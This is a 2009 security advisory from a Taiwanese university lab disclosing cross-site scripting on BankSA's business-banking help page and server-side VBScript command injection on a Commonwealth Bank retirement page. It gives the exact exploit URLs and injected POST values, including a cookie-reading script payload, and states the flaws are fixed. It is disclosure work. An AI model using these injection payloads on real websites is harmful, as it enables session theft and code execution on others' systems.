Security Advisory: Banks in Australia

[militan c7 <militan.c7 () gmail com>]

==============================================
Security Advisory: Banks in Australia

militan (Chia-Jun Lin)
militan.c7 () gmail com
adl.csie.ncu.edu.tw/~militan <http://adl.csie.ncu.edu.tw/%7Emilitan>
militan-c7.blogspot.com
Advanced Defense Lab(ADL), NCU CSIE TAIWAN
12th May, 2009
==============================================


I. VULNERABILITY
-------------------------
XSS
Command Injection

Banks below are vulnerable:
BankSA. www.banksa.com.au
Commonwealth Bank. www.commbank.com.au
etc...

II. DESCRIPTION
-------------------------
Some banks contain vulnerabilities in certain pages, which may be misused by
attackers. Via the command injection, attackers can execute any vbscript
command on the hosts.

Generally, the security mechanism of the websites of banks in AU are
implemented indeed. However, their complex architectures are unnecessary
actually. Due to the large architectures, some pages do not perform the
validation properly.


III. Detail & POC
------------------------
1. BankSA: XSS. Javascript Injection.
webapps.banksa.com.au/bbo_help/?helpid=login_out&origin=CBS
The BBO function means "Business banking online", and the vulnerable
variable is "origin".

If origin=CBS, the page will immediately redirect to the link below.
www.banksa.com.au/business/business-banking-online/user-guide/?source=applet&origin=CBS

Nevertheless, if origin=CBS" then the page would redirect inappropriately.
****javascript code generated in the intermediate page
function focusWin()
{
  window.focus();
  //var theUrl = window.location.pathname;
  //var pos = theUrl.indexOf("help.asp");
  //theUrl = theUrl.substr(0,pos);
  window.location.href = "
http://www.banksa.com.au/business/business-banking-online/user-guide/?source=applet&origin=CBS
"";
  //document.write("
http://www.banksa.com.au/business/business-banking-online/user-guide/?source=applet&origin=CBS
"");
}
window.onload = focusWin;
****

Exploit:
webapps.banksa.com.au/bbo_help/?helpid=login_out&origin=CBS
";%0a%0aalert(document.cookie);//
webapps.banksa.com.au/bbo_help/?helpid=login_out&origin=CBS
";}</script>%0a%0a<script>alert("Vulnerable")</script>
POC:
http://adl.csie.ncu.edu.tw/~militan/banksa1.jpg<http://adl.csie.ncu.edu.tw/%7Emilitan/banksa1.jpg>
http://adl.csie.ncu.edu.tw/~militan/banksa2.jpg<http://adl.csie.ncu.edu.tw/%7Emilitan/banksa2.jpg>
http://adl.csie.ncu.edu.tw/~militan/banksa3.jpg<http://adl.csie.ncu.edu.tw/%7Emilitan/banksa3.jpg>


2. Commonwealth Bank: ASP command injection (server-side vbscript injection)
The commbank provides lots of tools to calculate, or to evaluate the
financial plan.
This page would collect personal information and make an appointment.
www.commbank.com.au/retirement/_PRODUCTION/content/ffthinkabout.asp
However, almost all the parameters are manipulated in vbscript on server.

Moreover, the page will return the error message when you mangle the
parameters. Thus attackers can craft the exploit easily, and then arbitrary
vbscript commands can be executed on server.

Exploit:
post parameter: Whattodo (default: FillForm)
FillForm & Response.write("ccccc")'
FillForm & Response.write("ccccc") %0d%0a Response.write("kerker") '
POC:
http://adl.csie.ncu.edu.tw/~militan/commbank1.jpg<http://adl.csie.ncu.edu.tw/%7Emilitan/commbank1.jpg>
http://adl.csie.ncu.edu.tw/~militan/commbank2.jpg<http://adl.csie.ncu.edu.tw/%7Emilitan/commbank2.jpg>
<http://adl.csie.ncu.edu.tw/%7Emilitan/commbank3.jpg>
http://adl.csie.ncu.edu.tw/~militan/commbank4.jpg<http://adl.csie.ncu.edu.tw/%7Emilitan/commbank4.jpg>


IV. SOLUTION& CONCLUSION
-------------------------
Most banks in AU should reduce the enormous architecture of their website*:*
do not provide additional functions or make sure that these functions are
secure.

The vulnerabilities have been fixed already.


regards
--
militan
Advanced Defense Lab, NCU Taiwan

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